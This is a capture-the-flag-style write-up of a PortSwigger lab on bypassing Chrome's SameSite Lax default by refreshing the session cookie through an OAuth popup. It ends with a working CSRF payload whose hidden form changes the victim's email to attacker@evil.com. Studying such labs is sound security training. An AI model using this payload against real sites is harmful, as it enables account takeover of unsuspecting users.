SameSite Lax bypass via cookie refresh | Jan 13, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: SameSite Lax bypass via cookie refresh! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
Note:
The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp’s built-in Chromium browser) to test your exploit.
Exploitation
Home page:
Burp Suite HTTP history:
When we reach to /
, it’ll set a new session cookie for us:
Set-Cookie: session=iGK1ZSaFicxmGf6YQ0vrsOyoBLUGFt1N; Expires=Sat, 14 Jan 2023 13:12:27 UTC; Secure; HttpOnly
As you can see, it doesn’t have attribute SameSite
, which means Chrome automatically applies Lax
restriction by default.
Although cookies with Lax
SameSite restrictions aren’t normally sent in any cross-site POST
requests. To avoid breaking single sign-on (SSO) mechanisms, Chrome doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST
requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
Now try to login:
As you can see, it’s redirecting to sign-in to a social media platform, which commonly is an OAuth-based authenication.
Burp Suite HTTP history:
When we finished the OAuth flow, it’ll assign a new session cookie for us. Again, no SameSite
attribute.
My account page:
In here, we can update our email address.
View source page:
<div id=account-content>
<p>Your username is: wiener</p>
<p>Your email is: wiener@normal-user.net</p>
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<button class='button' type='submit'> Update email </button>
</form>
</div>
As you can see, the form doesn’t have a CSRF token parameter, which helps to prevent CSRF attack.
Also, when we submit the form, it’ll send a POST request to /my-account/change-email
, with parameter email
.
Armed with above information, we can craft a CSRF payload to update victim’s email address.
But first, we need to know one thing:
we can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction.
For example, the following popup will be blocked by the browser by default:
window.open('https://vulnerable-website.com/login/sso');
To get around this, you can wrap the statement in an onclick
event handler as follows:
window.onclick = () => {
window.open('https://vulnerable-website.com/login/sso');
}
This way, the window.open()
method is only invoked when the user clicks somewhere on the page.
Now let’s construct our payload:
<html>
<head>
<title>CSRF-10</title>
</head>
<body>
<form action="https://0a7b004a03249384c1cfa827009b0081.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<p>Click Me!</p>
<script>
window.onclick = () => {
window.open('https://0a7b004a03249384c1cfa827009b0081.web-security-academy.net/socal-login')
setTimeout(updateEmail, 3000);
}
function updateEmail() {
document.getElementsByTagName('form')[0].submit();
}
</script>
</body>
</html>
Then host it on the exploit server and test it:
When we clicked on somewhere on the exploit page, it’ll open another window to /socal-login
, this will assign a new session cookie, which allows us to have 120 seconds to send a POST request to update the email address.
Now, let’s deliver the payload to victim:
Nice!
What we’ve learned:
- SameSite Lax bypass via cookie refresh